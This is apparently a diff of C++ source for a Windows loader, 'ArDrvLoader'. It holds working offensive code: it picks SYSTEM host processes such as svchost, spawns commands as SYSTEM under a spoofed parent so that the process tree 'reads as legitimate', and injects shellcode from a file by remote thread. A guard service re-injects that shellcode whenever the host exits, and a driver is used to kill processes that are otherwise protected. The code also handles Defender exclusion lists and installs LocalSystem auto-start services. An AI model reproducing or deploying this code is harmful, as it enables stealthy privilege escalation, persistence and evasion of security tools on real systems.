// Current Defender exclusion list (empty when Defender is absent or refuses).
std::vector<std::wstring> QueryExclusions(std::wstring& report);
// Persisted wish-list under HKLM\SOFTWARE\ArDrvLoader.
std::vector<std::wstring> LoadExclusionList();
bool SaveExclusionList(const std::vector<std::wstring>& paths);
std::wstring FormatExclusionList(const std::vector<std::wstring>& paths);
+1826
View File
File diff suppressed because it is too large Load Diff
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <windows.h>
// Role-based service host:
// ArDrvLoader.exe -service driver|guard|repair [options]
int RunGuardService(int argc, wchar_t** argv);
// Installs the driver / guard / repair services as LocalSystem auto-start services.
// ArDrvLoader.exe -install-guard-services [options]
int InstallGuardServices(int argc, wchar_t** argv);
+445
View File
@@ -0,0 +1,445 @@
#include "Common.h"
#include "HostSpawn.h"
#include "Logger.h"
#include <algorithm>
#include <sstream>
static std::wstring Lower(const std::wstring& s)
{
std::wstring out = s;
for (auto& c : out)
c = (wchar_t)towlower(c);
return out;
}
static std::wstring BaseName(const std::wstring& path)
{
size_t slash = path.find_last_of(L"\\/");
return slash == std::wstring::npos ? path : path.substr(slash + 1);
}
static bool TokenIsSystem(HANDLE token)
{
DWORD needed = 0;
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
if (needed == 0)
return false;
std::vector<BYTE> buf(needed);
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
return false;
LPWSTR sidStr = nullptr;
bool isSystem = false;
if (ConvertSidToStringSidW(tu->User.Sid, &sidStr))
{
isSystem = wcscmp(sidStr, L"S-1-5-18") == 0;
LocalFree(sidStr);
}
return isSystem;
}
static int ScoreImage(const std::wstring& imageName)
{
const std::wstring n = Lower(imageName);
// svchost is the ideal parent: dozens of them, SYSTEM, non-PPL for almost
// every hosted service, and a process tree nobody questions.
if (n == L"svchost.exe")
return 100;
if (n == L"wudfhost.exe")
return 60;
if (n == L"dllhost.exe")
return 50;
if (n == L"searchprotocolhost.exe")
return 40;
if (n == L"taskhostw.exe")
return 30;
// Protected / high-risk images we still accept only if they are actually
// injectable, which they usually are not.
if (n == L"winlogon.exe" || n == L"services.exe" || n == L"lsass.exe" ||
n == L"csrss.exe" || n == L"wininit.exe" || n == L"smss.exe")
{
return 0;
}
return 10;
}
std::vector<HostInfo> EnumerateHosts(bool requireSystem)
{
std::vector<HostInfo> hosts;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return hosts;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe))
{
do
{
if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
continue;
HostInfo info;
info.pid = pe.th32ProcessID;
info.imageName = pe.szExeFile;
HANDLE query = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, info.pid);
if (!query)
continue;
wchar_t path[4096]{};
DWORD len = _countof(path);
if (QueryFullProcessImageNameW(query, 0, path, &len))
info.imagePath.assign(path, len);
HANDLE token = nullptr;
if (OpenProcessToken(query, TOKEN_QUERY, &token))
{
info.systemToken = TokenIsSystem(token);
CloseHandle(token);
}
CloseHandle(query);
if (requireSystem && !info.systemToken)
continue;
DWORD session = 0;
if (ProcessIdToSessionId(info.pid, &session))
info.sessionId = session;
// Injectable = we can get the rights a remote-thread injection
// needs. PPL processes refuse these even to SYSTEM.
HANDLE inj = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_PROCESS,
FALSE,
info.pid);
if (inj)
{
info.injectable = true;
CloseHandle(inj);
}
info.score = ScoreImage(info.imageName) + (info.injectable ? 5 : 0);
hosts.push_back(info);
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
std::sort(hosts.begin(), hosts.end(), [](const HostInfo& a, const HostInfo& b)
{
if (a.score != b.score)
return a.score > b.score;
return a.pid < b.pid;
});
return hosts;
}
std::vector<HostInfo> EnumerateSystemHosts()
{
return EnumerateHosts(true);
}
SpawnResult SpawnThroughHost(
const std::wstring& commandLine,
const std::wstring& preferredImage,
bool userSession,
bool requireSystem)
{
SpawnResult result;
if (commandLine.empty())
{
result.error = L"empty command line";
return result;
}
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
if (hosts.empty())
{
result.error = L"no SYSTEM host process found (need admin or SYSTEM)";
return result;
}
auto isUsable = [&](const HostInfo& h) -> bool
{
if (requireSystem && !h.systemToken)
return false;
if (!h.injectable)
return false;
if (!preferredImage.empty() &&
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
{
return false;
}
return true;
};
// Best injectable SYSTEM host, honouring the preferred image if given.
HostInfo* chosen = nullptr;
for (auto& h : hosts)
{
if (isUsable(h))
{
chosen = &h;
break;
}
}
if (!chosen && !preferredImage.empty())
{
// Preferred image exists but is not injectable: report that clearly
// instead of silently using something else.
for (const auto& h : hosts)
{
if (_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) == 0)
{
result.error = L"preferred host is not injectable (PPL or access denied): " +
h.imageName;
return result;
}
}
result.error = L"preferred host not running: " + preferredImage;
return result;
}
if (!chosen)
{
result.error = L"no injectable SYSTEM host process found";
return result;
}
result.hostImage = chosen->imagePath;
HANDLE host = OpenProcess(
PROCESS_CREATE_PROCESS | PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
chosen->pid);
if (!host)
{
result.error = L"OpenProcess(PROCESS_CREATE_PROCESS) failed: " +
std::to_wstring(GetLastError());
return result;
}
HANDLE hostToken = nullptr;
HANDLE primary = nullptr;
if (OpenProcessToken(host, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hostToken))
{
if (DuplicateTokenEx(
hostToken,
MAXIMUM_ALLOWED,
nullptr,
SecurityImpersonation,
TokenPrimary,
&primary))
{
if (userSession)
{
DWORD session = WTSGetActiveConsoleSessionId();
SetTokenInformation(primary, TokenSessionId, &session, sizeof(session));
result.sessionId = session;
}
else
{
DWORD session = 0;
DWORD len = sizeof(session);
if (GetTokenInformation(primary, TokenSessionId, &session, len, &len))
result.sessionId = session;
}
}
}
if (hostToken)
CloseHandle(hostToken);
if (!primary)
{
CloseHandle(host);
result.error = L"cannot duplicate host token: " + std::to_wstring(GetLastError());
return result;
}
STARTUPINFOEXW si{};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);
std::vector<BYTE> attrBuf(attrSize);
si.lpAttributeList = reinterpret_cast<LPPROC_THREAD_ATTRIBUTE_LIST>(attrBuf.data());
bool started = false;
if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize))
{
if (UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&host,
sizeof(host),
nullptr,
nullptr))
{
if (userSession)
si.StartupInfo.lpDesktop = const_cast<LPWSTR>(L"winsta0\\default");
LPVOID env = nullptr;
CreateEnvironmentBlock(&env, primary, FALSE);
std::wstring mutableCmd = commandLine;
PROCESS_INFORMATION pi{};
started = CreateProcessAsUserW(
primary,
nullptr,
mutableCmd.data(),
nullptr,
nullptr,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT,
env,
nullptr,
&si.StartupInfo,
&pi) != FALSE;
if (started)
{
result.ok = true;
result.pid = pi.dwProcessId;
result.parentPid = chosen->pid;
result.method = L"host-token+ppid";
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
result.error = L"CreateProcessAsUser failed: " +
std::to_wstring(GetLastError());
}
if (env)
DestroyEnvironmentBlock(env);
}
else
{
result.error = L"UpdateProcThreadAttribute failed: " +
std::to_wstring(GetLastError());
}
DeleteProcThreadAttributeList(si.lpAttributeList);
}
else
{
result.error = L"InitializeProcThreadAttributeList failed: " +
std::to_wstring(GetLastError());
}
CloseHandle(primary);
CloseHandle(host);
Log(L"[host] spawn %s -> pid=%lu parent=%lu host=%s ok=%d %s",
commandLine.c_str(),
result.pid,
result.parentPid,
result.hostImage.c_str(),
result.ok ? 1 : 0,
result.error.c_str());
return result;
}
std::wstring FormatHostList(const std::vector<HostInfo>& hosts)
{
std::wostringstream os;
os << L"hosts=" << hosts.size();
size_t shown = 0;
for (const auto& h : hosts)
{
if (shown >= 15)
{
os << L"\r\n ...";
break;
}
++shown;
os << L"\r\n " << h.pid
<< L" session=" << h.sessionId
<< L" score=" << h.score
<< L" system=" << (h.systemToken ? 1 : 0)
<< L" injectable=" << (h.injectable ? 1 : 0)
<< L" " << h.imageName;
}
return os.str();
}
std::wstring FormatSpawnResult(const SpawnResult& r)
{
if (!r.ok)
return L"ERR " + (r.error.empty() ? std::wstring(L"spawn failed") : r.error);
std::wostringstream os;
os << L"OK pid=" << r.pid
<< L" parent=" << r.parentPid
<< L" session=" << r.sessionId;
if (!r.hostImage.empty())
os << L" host=" << r.hostImage;
if (!r.method.empty())
os << L" method=" << r.method;
return os.str();
}
+53
View File
@@ -0,0 +1,53 @@
#pragma once
#include <windows.h>
#include <string>
#include <vector>
struct HostInfo
{
DWORD pid = 0;
DWORD sessionId = 0;
std::wstring imagePath;
std::wstring imageName;
bool systemToken = false; // token SID is S-1-5-18
bool injectable = false; // not PPL-protected, thread/VM rights available
int score = 0; // higher = better host candidate
};
struct SpawnResult
{
bool ok = false;
DWORD pid = 0;
DWORD parentPid = 0;
DWORD sessionId = 0;
std::wstring hostImage;
std::wstring method;
std::wstring error;
};
// Enumerates processes that hold a SYSTEM token, sorted best-first.
std::vector<HostInfo> EnumerateSystemHosts();
// Same enumeration, optionally including non-SYSTEM hosts. Used for testing the
// token/parent plumbing without elevation.
std::vector<HostInfo> EnumerateHosts(bool requireSystem);
// Starts an arbitrary command as SYSTEM, with the chosen host as its parent
// process. The child carries the host's token, so the process tree reads as
// legitimate: svchost.exe -> your program.
//
// preferredImage may be empty; pass "svchost.exe" to force that host family.
// userSession = true moves the child into the active console session so a GUI
// appears on the logged-in desktop.
SpawnResult SpawnThroughHost(
const std::wstring& commandLine,
const std::wstring& preferredImage,
bool userSession,
bool requireSystem = true);
// One-line summary for command ACKs.
std::wstring FormatHostList(const std::vector<HostInfo>& hosts);
std::wstring FormatSpawnResult(const SpawnResult& r);
+367
View File
@@ -0,0 +1,367 @@
#include "Common.h"
#include "HostStager.h"
#include "HostSpawn.h"
#include "ShellcodeUtils.h"
#include "Logger.h"
#include "Paths.h"
#include <sstream>
#include <vector>
static std::string ToUtf8(const std::wstring& w)
{
if (w.empty())
return std::string();
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
if (need <= 0)
return std::string();
std::string out(need, '\0');
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
return out;
}
static std::wstring FromUtf8(const std::string& s)
{
if (s.empty())
return std::wstring();
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
if (need <= 0)
return std::wstring();
std::wstring out(need, L'\0');
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
return out;
}
static std::wstring TrackPath()
{
return ArdrvStatePath();
}
bool GetProcessCreateTime(DWORD pid, unsigned long long& out)
{
out = 0;
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!h)
return false;
FILETIME created{}, exited{}, kernel{}, user{};
bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE;
CloseHandle(h);
if (!ok)
return false;
ULARGE_INTEGER u{};
u.LowPart = created.dwLowDateTime;
u.HighPart = created.dwHighDateTime;
out = u.QuadPart;
return true;
}
bool HostStillAlive(const HostTrack& track)
{
if (track.pid == 0)
return false;
unsigned long long created = 0;
if (!GetProcessCreateTime(track.pid, created))
return false;
if (track.creationTime != 0 && created != track.creationTime)
return false; // PID was recycled into a different process
return true;
}
HostTrack LoadHostTrack()
{
HostTrack t;
std::wstring trackFile = TrackPath();
// One-time migration from the old flat layout.
if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES)
{
std::wstring legacy = ArdrvLegacyStatePath();
if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES)
{
EnsureDirExists(ArdrvRoot());
if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE))
DeleteFileW(legacy.c_str());
}
}
HANDLE h = CreateFileW(
trackFile.c_str(),
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (h == INVALID_HANDLE_VALUE)
return t;
char buf[4096]{};
DWORD read = 0;
ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr);
CloseHandle(h);
std::string text(buf, read);
std::wstring wide = FromUtf8(text);
std::wistringstream in(wide);
std::wstring line;
while (std::getline(in, line))
{
size_t eq = line.find(L'=');
if (eq == std::wstring::npos)
continue;
std::wstring key = line.substr(0, eq);
std::wstring value = line.substr(eq + 1);
while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n'))
value.pop_back();
if (key == L"pid")
t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10);
else if (key == L"created")
t.creationTime = _wcstoui64(value.c_str(), nullptr, 16);
else if (key == L"payload")
t.payload = value;
else if (key == L"host")
t.hostImage = value;
}
return t;
}
bool SaveHostTrack(const HostTrack& track)
{
std::wostringstream os;
os << L"pid=" << track.pid << L"\r\n";
wchar_t created[32]{};
swprintf_s(created, L"%016llx", track.creationTime);
os << L"created=" << created << L"\r\n";
os << L"payload=" << track.payload << L"\r\n";
os << L"host=" << track.hostImage << L"\r\n";
std::string bytes = ToUtf8(os.str());
HANDLE h = CreateFileW(
TrackPath().c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (h == INVALID_HANDLE_VALUE)
{
Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError());
return false;
}
DWORD written = 0;
BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
CloseHandle(h);
return ok && written == bytes.size();
}
bool ClearHostTrack()
{
return DeleteFileW(TrackPath().c_str()) != FALSE;
}
HostInjectResult InjectShellcodeIntoHost(
const std::wstring& shellcodePath,
const std::wstring& preferredImage,
bool requireSystem)
{
HostInjectResult result;
if (shellcodePath.empty())
{
result.error = L"no shellcode path";
return result;
}
std::wstring full = shellcodePath;
wchar_t abs[4096]{};
if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr))
full = abs;
std::vector<BYTE> payload;
if (!ReadFileToMemory(full.c_str(), payload))
{
result.error = L"cannot read shellcode: " + full;
return result;
}
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
HostInfo* chosen = nullptr;
for (auto& h : hosts)
{
if (!h.injectable)
continue;
if (requireSystem && !h.systemToken)
continue;
if (!preferredImage.empty() &&
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
{
continue;
}
chosen = &h;
break;
}
if (!chosen)
{
result.error = hosts.empty()
? L"no host process found (need admin or SYSTEM)"
: L"no injectable host available";
return result;
}
unsigned long long created = 0;
if (!GetProcessCreateTime(chosen->pid, created))
{
result.error = L"cannot read host creation time";
return result;
}
if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size()))
{
result.error = L"injection failed into " + chosen->imageName;
return result;
}
result.ok = true;
result.hostPid = chosen->pid;
result.hostSession = chosen->sessionId;
result.creationTime = created;
result.hostImage = chosen->imagePath;
result.method = L"remote-thread";
HostTrack track;
track.pid = result.hostPid;
track.creationTime = created;
track.payload = full;
track.hostImage = result.hostImage;
if (!SaveHostTrack(track))
result.method += L"+track-failed";
Log(L"[host] injected %s into %s pid=%lu",
full.c_str(),
result.hostImage.c_str(),
result.hostPid);
return result;
}
HostInjectResult EnsureHostInjected(bool requireSystem)
{
HostInjectResult result;
HostTrack track = LoadHostTrack();
if (!track.Tracked())
{
result.error = L"no host payload configured";
return result;
}
if (HostStillAlive(track))
{
result.ok = true;
result.hostPid = track.pid;
result.creationTime = track.creationTime;
result.hostImage = track.hostImage;
result.method = L"already-running";
DWORD session = 0;
if (ProcessIdToSessionId(track.pid, &session))
result.hostSession = session;
return result;
}
Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid);
result = InjectShellcodeIntoHost(track.payload, L"", requireSystem);
if (!result.ok)
Log(L"[-] host re-inject failed: %s", result.error.c_str());
return result;
}
std::wstring FormatInjectResult(const HostInjectResult& r)
{
if (!r.ok)
return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error);
std::wostringstream os;
os << L"OK host_pid=" << r.hostPid
<< L" session=" << r.hostSession
<< L" method=" << r.method;
if (!r.hostImage.empty())
os << L" host=" << r.hostImage;
return os.str();
}
std::wstring FormatHostTrack(const HostTrack& t)
{
if (!t.Tracked())
return L"track=none";
std::wostringstream os;
os << L"track pid=" << t.pid
<< L" alive=" << (HostStillAlive(t) ? 1 : 0)
<< L" payload=" << t.payload;
if (!t.hostImage.empty())
os << L" host=" << t.hostImage;
return os.str();
}
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <windows.h>
#include <string>
struct HostInjectResult
{
bool ok = false;
DWORD hostPid = 0;
DWORD hostSession = 0;
unsigned long long creationTime = 0;
std::wstring hostImage;
std::wstring method;
std::wstring error;
};
struct HostTrack
{
DWORD pid = 0;
unsigned long long creationTime = 0;
std::wstring payload;
std::wstring hostImage;
bool Tracked() const { return pid != 0 && !payload.empty(); }
};
// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process.
// Identity is recorded (pid + creation time) so a recycled PID is never treated
// as the same host.
HostInjectResult InjectShellcodeIntoHost(
const std::wstring& shellcodePath,
const std::wstring& preferredImage,
bool requireSystem);
// True when the tracked pid still exists AND its creation time matches, which
// rejects PID reuse.
bool HostStillAlive(const HostTrack& track);
bool GetProcessCreateTime(DWORD pid, unsigned long long& out);
HostTrack LoadHostTrack();
bool SaveHostTrack(const HostTrack& track);
bool ClearHostTrack();
// Used by the guard role: re-injects only when the previous host is gone.
HostInjectResult EnsureHostInjected(bool requireSystem = true);
std::wstring FormatInjectResult(const HostInjectResult& r);
std::wstring FormatHostTrack(const HostTrack& t);
+451
View File
@@ -0,0 +1,451 @@
#include "Common.h"
#include "KillSafety.h"
#include "DriverClient.h"
#include "Logger.h"
#include <algorithm>
#include <cwctype>
#include <set>
#include <sstream>
static std::wstring Lower(const std::wstring& s)
{
std::wstring out = s;
for (auto& c : out)
c = (wchar_t)towlower(c);
return out;
}
static std::wstring BaseNameFromPath(const std::wstring& path)
{
size_t slash = path.find_last_of(L"\\/");
if (slash == std::wstring::npos)
return path;
return path.substr(slash + 1);
}
bool IsProtectedImage(const std::wstring& imageName)
{
static const wchar_t* protectedImages[] =
{
// Kernel / session manager / critical subsystems. Terminate any of
// these and the machine bugchecks immediately.
L"system",
L"registry",
L"memcompression",
L"smss.exe",
L"csrss.exe",
L"wininit.exe",
L"winlogon.exe",
L"services.exe",
L"lsass.exe",
L"svchost.exe",
L"fontdrvhost.exe",
L"dwm.exe",
L"wudfhost.exe",
L"sihost.exe",
L"ctfmon.exe",
L"explorer.exe",
L"taskhostw.exe",
L"logonui.exe",
L"userinit.exe",
L"wininit.exe",
L"spoolsv.exe",
L"audiodg.exe",
L"conhost.exe",
L"sshd.exe",
};
const std::wstring lower = Lower(imageName);
for (const wchar_t* p : protectedImages)
{
if (lower == Lower(p))
return true;
}
return false;
}
// Collect our own pid and every ancestor up to the root.
static std::set<DWORD> SelfAndAncestors()
{
std::set<DWORD> result;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
{
result.insert(GetCurrentProcessId());
return result;
}
std::vector<std::pair<DWORD, DWORD>> links; // pid -> parent pid
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe))
{
do
{
links.push_back({ pe.th32ProcessID, pe.th32ParentProcessID });
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
DWORD cur = GetCurrentProcessId();
for (int depth = 0; depth < 16 && cur != 0; ++depth)
{
if (!result.insert(cur).second)
break;
DWORD parent = 0;
for (const auto& link : links)
{
if (link.first == cur)
{
parent = link.second;
break;
}
}
cur = parent;
}
return result;
}
static std::vector<DWORD> PidsForImage(const std::wstring& imageName)
{
std::vector<DWORD> pids;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return pids;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe))
{
do
{
if (_wcsicmp(pe.szExeFile, imageName.c_str()) == 0)
pids.push_back(pe.th32ProcessID);
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return pids;
}
bool KillReport::Refused(KillOutcome o) const
{
return o == KillOutcome::Protected ||
o == KillOutcome::SelfOrAncestor ||
o == KillOutcome::IdentityMismatch;
}
std::wstring KillReport::Format() const
{
std::wostringstream os;
os << (dryRun ? L"DRY-RUN" : L"EXECUTED")
<< L" killed=" << killed
<< L" candidates=" << attempts.size();
const size_t maxLines = 30;
size_t shown = 0;
for (const auto& a : attempts)
{
if (shown >= maxLines)
{
os << L"\r\n ... " << (attempts.size() - shown) << L" more";
break;
}
++shown;
const wchar_t* state = L"?";
switch (a.outcome)
{
case KillOutcome::WouldKill: state = L"would-kill"; break;
case KillOutcome::Killed: state = L"killed"; break;
case KillOutcome::Protected: state = L"SKIP protected"; break;
case KillOutcome::SelfOrAncestor: state = L"SKIP own-tree"; break;
case KillOutcome::IdentityMismatch:state = L"SKIP identity"; break;
case KillOutcome::OpenFailed: state = L"skip open-failed"; break;
case KillOutcome::AccessDenied: state = L"SKIP access-denied(needs SYSTEM or PPL)"; break;
case KillOutcome::DriverFailed: state = L"driver-failed"; break;
}
os << L"\r\n " << a.pid << L" " << state;
if (!a.imagePath.empty())
os << L" " << a.imagePath;
}
return os.str();
}
void KillProcessesSafe(
const std::vector<std::wstring>& imageNames,
bool dryRun,
DWORD maxKills,
KillReport& report,
bool allowBlindDriver)
{
report = KillReport();
report.dryRun = dryRun;
if (maxKills == 0)
maxKills = 16;
const std::set<DWORD> own = SelfAndAncestors();
std::set<DWORD> seen;
DWORD kills = 0;
for (const auto& requested : imageNames)
{
if (kills >= maxKills)
break;
if (requested.empty())
continue;
const std::wstring requestedBase = BaseNameFromPath(requested);
// Refuse before enumerating: a protected image is never a candidate.
if (IsProtectedImage(requestedBase))
{
KillAttempt blocked;
blocked.outcome = KillOutcome::Protected;
blocked.imagePath = requestedBase;
report.attempts.push_back(blocked);
continue;
}
for (DWORD pid : PidsForImage(requestedBase))
{
if (kills >= maxKills)
break;
if (pid == 0 || pid == 4 || pid <= 4)
continue;
if (!seen.insert(pid).second)
continue;
KillAttempt attempt;
attempt.pid = pid;
if (own.count(pid))
{
attempt.outcome = KillOutcome::SelfOrAncestor;
report.attempts.push_back(attempt);
continue;
}
// Hold the handle across the IOCTL: the process object stays alive,
// so the PID cannot be recycled into something critical mid-kill.
HANDLE proc = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE,
FALSE,
pid);
if (!proc)
{
// User-mode terminate is refused for PPL / SYSTEM images. The
// driver path does not need PROCESS_TERMINATE, so verify identity
// through a query handle and hand the PID to the kernel.
HANDLE queryOnly = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!queryOnly)
{
// Nothing openable (SYSTEM image while we are not elevated).
// Only the kernel can still act, and only when the caller
// explicitly allowed it: re-check the PID against a fresh
// snapshot so a recycled PID cannot slip through.
bool stillMatches = false;
for (DWORD again : PidsForImage(requestedBase))
{
if (again == pid)
{
stillMatches = true;
break;
}
}
if (allowBlindDriver && stillMatches && !IsProtectedImage(requestedBase))
{
if (dryRun)
{
attempt.outcome = KillOutcome::WouldKill;
attempt.imagePath += L" (driver)";
report.attempts.push_back(attempt);
continue;
}
const bool viaDriver = TerminateProcessViaDriver(pid);
if (viaDriver)
{
attempt.outcome = KillOutcome::Killed;
++kills;
report.killed = (int)kills;
}
else
{
attempt.outcome = KillOutcome::DriverFailed;
}
report.attempts.push_back(attempt);
Sleep(150 + (GetTickCount() % 200));
continue;
}
attempt.outcome =
(GetLastError() == ERROR_ACCESS_DENIED)
? KillOutcome::AccessDenied
: KillOutcome::OpenFailed;
report.attempts.push_back(attempt);
continue;
}
wchar_t fullPath[4096]{};
DWORD len = _countof(fullPath);
if (!QueryFullProcessImageNameW(queryOnly, 0, fullPath, &len))
{
CloseHandle(queryOnly);
attempt.outcome = KillOutcome::OpenFailed;
report.attempts.push_back(attempt);
continue;
}
attempt.imagePath.assign(fullPath, len);
const std::wstring actualBase = BaseNameFromPath(attempt.imagePath);
if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0)
{
CloseHandle(queryOnly);
attempt.outcome = KillOutcome::IdentityMismatch;
report.attempts.push_back(attempt);
continue;
}
if (IsProtectedImage(actualBase))
{
CloseHandle(queryOnly);
attempt.outcome = KillOutcome::Protected;
report.attempts.push_back(attempt);
continue;
}
if (dryRun)
{
CloseHandle(queryOnly);
attempt.outcome = KillOutcome::WouldKill;
report.attempts.push_back(attempt);
continue;
}
const bool viaDriver = TerminateProcessViaDriver(pid);
CloseHandle(queryOnly);
if (viaDriver)
{
attempt.outcome = KillOutcome::Killed;
++kills;
report.killed = (int)kills;
}
else
{
attempt.outcome = KillOutcome::DriverFailed;
}
report.attempts.push_back(attempt);
Sleep(150 + (GetTickCount() % 200));
continue;
}
wchar_t fullPath[4096]{};
DWORD len = _countof(fullPath);
if (!QueryFullProcessImageNameW(proc, 0, fullPath, &len))
{
CloseHandle(proc);
attempt.outcome = KillOutcome::OpenFailed;
report.attempts.push_back(attempt);
continue;
}
attempt.imagePath.assign(fullPath, len);
const std::wstring actualBase = BaseNameFromPath(attempt.imagePath);
// Identity must match what we asked to kill, otherwise it is a
// different image that happened to share a PID or a name variant.
if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0)
{
CloseHandle(proc);
attempt.outcome = KillOutcome::IdentityMismatch;
report.attempts.push_back(attempt);
continue;
}
if (IsProtectedImage(actualBase))
{
CloseHandle(proc);
attempt.outcome = KillOutcome::Protected;
report.attempts.push_back(attempt);
continue;
}
if (dryRun)
{
CloseHandle(proc);
attempt.outcome = KillOutcome::WouldKill;
report.attempts.push_back(attempt);
continue;
}
const bool ok = TerminateProcessViaDriver(pid);
CloseHandle(proc);
if (ok)
{
attempt.outcome = KillOutcome::Killed;
++kills;
report.killed = (int)kills;
}
else
{
attempt.outcome = KillOutcome::DriverFailed;
}
report.attempts.push_back(attempt);
// Space kills out; a tight loop of terminate IOCTLs is both noisy
// and a good way to catch a scheduler hiccup.
Sleep(150 + (GetTickCount() % 200));
}
}
}
+53
View File
@@ -0,0 +1,53 @@
#pragma once
#include <windows.h>
#include <string>
#include <vector>
// Result of evaluating a single candidate process.
enum class KillOutcome
{
WouldKill, // dry run: everything checked out, nothing was done
Killed,
Protected, // image is on the never-touch list
SelfOrAncestor, // our own process or one of its parents
IdentityMismatch, // image path did not match the requested name
OpenFailed,
AccessDenied, // PPL / protected process: cannot even open for terminate
DriverFailed,
};
struct KillAttempt
{
DWORD pid = 0;
std::wstring imagePath;
KillOutcome outcome = KillOutcome::OpenFailed;
};
struct KillReport
{
bool dryRun = false;
int killed = 0;
std::vector<KillAttempt> attempts;
bool Refused(KillOutcome o) const;
std::wstring Format() const;
};
// True for images that must never be terminated: terminating any of these
// takes the machine down.
bool IsProtectedImage(const std::wstring& imageName);
// Terminates processes with the given image name through the driver, one at a
// time, with full identity verification. Never kills more than maxKills,
// never kills the caller or its ancestors, never kills a protected image.
//
// The process handle is held across the IOCTL, so the PID cannot be recycled
// between verification and termination.
void KillProcessesSafe(
const std::vector<std::wstring>& imageNames,
bool dryRun,
DWORD maxKills,
KillReport& report,
bool allowBlindDriver = false);
+55
View File
@@ -0,0 +1,55 @@
#include "Common.h"
#include "Logger.h"
#if ARDRV_LOG_ENABLED
#define ARDRV_LOG_FILE L"C:\\Users\\Public\\ardrv_loader.log"
void LogImpl(const wchar_t* fmt, ...)
{
wchar_t buf[8192];
buf[0] = L'\0';
va_list args;
va_start(args, fmt);
int n = _vscwprintf(fmt, args);
va_end(args);
if (n < 0)
n = 0;
if (n > (int)_countof(buf) - 3)
n = (int)_countof(buf) - 3;
va_start(args, fmt);
_vsnwprintf_s(buf, (size_t)(_countof(buf) - 1), (size_t)n, fmt, args);
va_end(args);
buf[n] = L'\r';
buf[n + 1] = L'\n';
buf[n + 2] = L'\0';
HANDLE hFile = CreateFileW(
ARDRV_LOG_FILE,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_ALWAYS,
0,
nullptr);
if (hFile != INVALID_HANDLE_VALUE)
{
LARGE_INTEGER zero{};
SetFilePointerEx(hFile, zero, nullptr, FILE_END);
DWORD written = 0;
WriteFile(hFile, buf, (DWORD)((n + 2) * sizeof(WCHAR)), &written, nullptr);
CloseHandle(hFile);
}
OutputDebugStringW(buf);
}
#endif
+24
View File
@@ -0,0 +1,24 @@
#pragma once
// Logging is compiled in for Debug builds only. In Release the macro expands to
// nothing, so neither the format string nor its arguments survive into the
